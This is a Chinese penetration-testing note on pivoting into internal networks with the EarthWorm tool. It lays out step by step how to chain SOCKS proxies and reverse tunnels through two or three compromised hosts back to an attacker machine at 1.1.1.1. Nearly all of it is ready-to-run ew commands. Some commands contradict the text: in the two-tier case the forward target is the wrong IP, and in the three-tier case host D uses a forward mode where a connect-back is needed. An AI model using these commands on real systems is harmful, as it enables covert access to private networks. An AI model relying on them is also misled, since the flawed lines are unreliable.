【渗透测试笔记】之【内网渗透——应用层隧道（EarthWorm的使用：各种复杂内网（一二三级网络）环境中的socks代理方法））】

EarthWorm下载地址

https://github.com/AA8j/SecTools/tree/main/ew

1. 普通网络

在普通网络环境下，可直接通过跳板机访问内网特定资源。

1.1 跳板机存在公网IP

1.1.1 网络环境

目标主机（公网IP：1.1.1.1，可访问特定内网资源）（跳板机）

1.1.2 使用方法

目标主机（公网IP：1.1.1.1，可访问特定内网资源）：

ew -s ssocksd -l 8888

侦听本机的8888端口，提供socks代理

1.1.3 流量走向

本地主机--->1.1.1.1:8888--->特定内网资源

1.2 跳板机不存在公网IP，可出网

1.2.1 网络环境

攻击机（公网IP：1.1.1.1）
目标主机B（192.168.1.1，可出网，可访问特定内网资源）（跳板机）

1.2.2 使用方法

攻击机（公网IP：1.1.1.1）：

ew -s rcsocks -l 1080 -e 8888

侦听1080端口，提供socks代理
并且将1080的代理发送到8888端口，此时也侦听8888端口，等待反弹连接

目标主机B（192.168.1.1，可出网）（跳板机）：

ew -s rssocks -d 1.1.1.1 -e 8888

主动连接1.1.1.1的8888端口，打通隧道。

1.2.3 流量走向

本地主机--->1.1.1.1:1080---->1.1.1.1:8888--->192.168.1.1--->特定内网资源

2. 二级网络

在二级网络下，一级跳板机不能访问特定内网资源，二级跳板机可以访问内网特定资源。

2.1 一级跳板机有公网IP

2.1.1 网络环境

目标主机A（公网IP：1.1.1.1，内网IP：192.168.1.1，可访问主机B，不可访问特定内网资源）（一级跳板机）
目标主机B（内网IP：172.16.1.1，不出网，可访问特定内网资源）（二级跳板机）

2.1.2 使用方法

目标主机B（内网IP：172.16.1.1，不出网，可访问特定内网资源）（二级跳板机）：

ew -s ssocksd -l 9999

侦听9999端口，提供socks代理

目标主机A（公网IP：1.1.1.1，内网IP：192.168.1.1，可访问主机B，不可访问特定内网资源）（一级跳板机）：

ew -s lcx_tran -l 1080 -f 192.168.1.1 -g 9999

侦听本机1080端口，并转发到172.16.1.1:9999

2.1.3 流量走向

本地主机--->1.1.1.1:1080--->172.16.1.1:9999--->特定内网资源

2.2 一级跳板机无公网IP

2.2.1 网络环境

攻击机（公网IP：1.1.1.1）
目标主机A（内网IP：192.168.1.1，出网，可访问主机B，不可访问特定内网资源）（一级跳板机）
目标主机B（内网IP：172.16.1.1，不出网，可访问特定内网资源）（二级跳板机）

2.2.2 使用方法

攻击机（公网IP：1.1.1.1）：

ew -s lcx_listen -l 1080 -e 8888

侦听1080端口，提供socks代理
并且将1080的代理发送到8888端口，此时也侦听8888端口，等待反弹连接

目标主机B（内网IP：172.16.1.1，不出网，可访问特定内网资源）（二级跳板机）:

ew -s ssocksd -l 9999

侦听9999端口，提供socks代理

目标主机A（内网IP：192.168.1.1，出网，不可访问特定内网资源）（一级跳板机）

ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 172.16.1.1 -g 9999

将1.1.1.1:8888和172.16.1.1:9999双向建立连接，打通隧道。

2.2.3 流量走向

本地主机--->1.1.1.1:1080--->1.1.1.1:8888--->192.168.1.1--->172.16.1.1:9999--->特定内网资源

3. 三级网络

在二级网络下，一级跳板机不能访问特定内网资源，二级跳板机也不能访问，三级跳板机才可以访问内网特定资源。

同上可以总结出，一级跳板机肯定是要能出网的，只是有公网IP和没有公网IP两种情况。

这里假设其没有公网IP（有公网IP的情况参考二级网络，更简单）。

3.1 网络环境

攻击机（公网IP：1.1.1.1）
目标主机B（内网IP：192.168.1.1，出网，可访问主机C，不可访问特定内网资源）（一级跳板机）
目标主机C（内网IP：172.16.1.1，不出网，可访问主机D，不可访问特定内网资源）（二级跳板机）
目标主机D（内网IP：10.1.1.1，不出网，可访问特定内网资源）（三级跳板机）

3.2 使用方法

攻击机（公网IP：1.1.1.1）：

ew -s lcx_listen -l 1080 -e 8888

侦听1080端口，提供socks代理
并且将1080的代理发送到8888端口，此时也侦听8888端口，等待反弹连接

目标主机C（内网IP：172.16.1.1，不出网，不可访问特定内网资源）（二级跳板机）

ew -s lcx_listen -l 9999 -e 7777

同样也是侦听9999端口，提供socks代理
并且将9999的代理发送到7777端口，此时也侦听7777端口，等待反弹连接

目标主机B（内网IP：192.168.1.1，出网，可访问主机C，不可访问特定内网资源）（一级跳板机）

ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 172.16.1.1 -g 9999

访问攻击机的8888端口和内网172.16.1.1的9999端口，将攻击机与C主机连通。

目标主机D（内网IP：10.1.1.1，不出网，可访问特定内网资源）（三级跳板机）

ew -s ssocksd -d 172.16.1.1 -e 7777

回连打通CD之间的隧道。

3.3 流量走向

本地主机--->1.1.1.1:1080--->1.1.1.1:8888--->192.168.1.1--->172.16.1.1:9999--->172.16.1.1:7777--->10.1.1.1--->内网特定资源

参考链接：http://rootkiter.com/EarthWorm/